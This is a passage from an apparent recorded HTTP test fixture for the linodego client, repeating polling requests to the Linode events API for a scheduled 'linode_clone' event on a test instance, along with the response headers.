s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 